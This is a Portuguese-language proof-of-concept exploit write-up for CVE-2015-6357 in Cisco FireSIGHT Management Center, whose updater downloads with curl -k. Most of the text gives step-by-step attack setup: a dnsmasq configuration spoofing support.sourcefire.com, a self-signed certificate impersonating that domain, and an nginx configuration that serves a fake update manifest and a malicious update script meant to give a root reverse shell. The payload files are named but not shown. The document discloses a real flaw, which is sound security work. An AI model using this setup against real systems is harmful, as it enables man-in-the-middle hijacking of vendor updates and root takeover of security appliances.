
Exploit para a vulnerabilidade de validação de certificado CVE-2015-6357 do Cisco FireSIGHT Management Center
Por si só, a [Vulnerabilidade de Validação de Certificado do Cisco FireSIGHT Management Center][3] é uma vulnerabilidade de gravidade média com CVSS de 5.1. No entanto, esta vulnerabilidade é um exemplo de por que a validação de certificados SSL é tão importante. Neste exploit, demonstrarei como a vulnerabilidade pode ser aproveitada para obter execução remota privilegiada de comandos em um sistema Cisco FireSIGHT. O exploit encadeia a vulnerabilidade de validação SSL com o processo de atualização de software no sistema Cisco FireSIGHT para enganar o sistema alvo, fazendo-o baixar uma atualização maliciosa e executá-la para obter uma shell reversa com privilégios de root.

O appliance Cisco FireSIGHT Management Center é usado para gerenciar os Sistemas de Prevenção de Intrusão (IPS) Cisco FirePOWER, também conhecidos como Sourcefire IPS. O FireSIGHT é responsável por baixar assinaturas de IPS atualizadas e instalá-las nos dispositivos IPS gerenciados.
O FireSIGHT Management Center permite que um administrador inicie manualmente uma atualização das regras de IPS ou agende as atualizações para ocorrerem diariamente/semanalmente/mensalmente.
Quando o FireSIGHT Management Center realiza uma atualização, ele usa o comando UNIX curl para fazer o download do [Suporte Sourcefire][1]. A invocação do comando curl recebe a opção -k (também conhecida como --insecure), que instrui o curl a não validar nenhum certificado SSL apresentado pelo servidor.
Aqui está a saída do ps do servidor baixando uma atualização:
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root 8351 0.0 0.0 37396 2708 ? S 02:02 0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh
As atualizações do FireSIGHT vêm na forma de um script shell gerado por [makeself][2], que contém tanto comandos shell UNIX Bourne quanto os dados binários a serem entregues na atualização. Esses scripts de atualização shell são executados diretamente no servidor FireSIGHT como o usuário local www.
Um atacante que consiga realizar um ataque de homem no meio (man-in-the-middle) contra um servidor FireSIGHT pode forçá-lo a se conectar a uma versão falsificada do site [Suporte Sourcefire][1] e baixar um script de atualização malicioso que executará qualquer comando desejado pelo atacante no servidor FireSIGHT.
A vulnerabilidade de validação SSL permite que isso ocorra, fazendo com que o sistema ignore alegremente o certificado SSL falsificado do atacante, baixe a atualização maliciosa e a execute.
Se o comando curl validasse o certificado SSL, ele falharia ao baixar o script malicioso e protegeria o servidor FireSIGHT do atacante.
Este exploit demonstra o perigo de não validar o certificado SSL ao explorar a vulnerabilidade para obter execução remota de comandos como o usuário root.
O cenário de ataque é aquele em que um atacante obteve a capacidade de interceptar (man-in-the-middle) o tráfego do servidor FireSIGHT para o site https://support.sourcefire.com. A maneira mais simples de demonstrar isso é configurar um servidor DNS "comprometido" que responda às consultas do domínio support.sourcefire.com com o endereço IP de um servidor web controlado pelo atacante.
Em um cenário de ataque real, o atacante pode usar várias técnicas de man-in-the-middle para alcançar o mesmo objetivo. Tais como:
Este exploit foi testado nas seguintes versões do FireSIGHT Virtual Appliance:
No PoC abaixo, o servidor FireSIGHT recebeu o endereço IP 192.168.1.99.
O host atacante estava executando Kali Linux 2.0, embora a configuração abaixo deva funcionar em qualquer servidor baseado em Debian Linux. O endereço IP do host Kali no exemplo abaixo é 192.168.1.1. O host Kali é usado para executar o servidor DNS, bem como o site [Suporte Sourcefire][1] falsificado.
O exploit requer a capacidade de falsificar a resposta DNS para support.sourcefire.com. Um servidor dnsmasq é executado para fornecer essa capacidade e atuar como o servidor DNS "comprometido".
Instale o dnsmasq:
root@kali# apt-get install dnsmasq
Configure o dnsmasq:
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF
Edite o endereço IP na linha address para que seja o endereço do servidor web de onde você servirá as atualizações.
Inicie o dnsmasq:
root@kali# service dnsmasq start
Um servidor web é necessário para servir o exploit ao servidor FireSIGHT quando ele solicitar uma atualização.
Instale o servidor web nginx:
root@kali# apt-get install nginx
Crie um certificado autoassinado para se passar por support.sourcefire.com:
root@kali# mkdir /etc/nginx/ssl
root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
-out /etc/nginx/ssl/nginx.crt
Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:
Configure o nginx substituindo o conteúdo de /etc/nginx/sites-available/default por:
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name support.sourcefire.com;
ssl_certificate /etc/nginx/ssl/nginx.crt;
ssl_certificate_key /etc/nginx/ssl/nginx.key;
location / {
try_files $uri $uri/ =404;
}
# rewrite requests that contain the clients license key
location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
}
location /auto-update {
root /var/www/html/firepwner;
}
}
Inicie o nginx:
root@kali# service nginx start
O exploit FirePWNER exige que dois arquivos sejam servidos pelo servidor web. O primeiro arquivo é o manifesto de atualização, que é um arquivo XML contendo uma lista das atualizações disponíveis, sua localização de download e hashes MD5.
Primeiro, você precisa criar alguns diretórios:
root@kali# mkdir \
/var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}
Depois, copie os arquivos do exploit para eles:
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
/var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh
Após copiar esses arquivos, você deve conseguir acessar http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml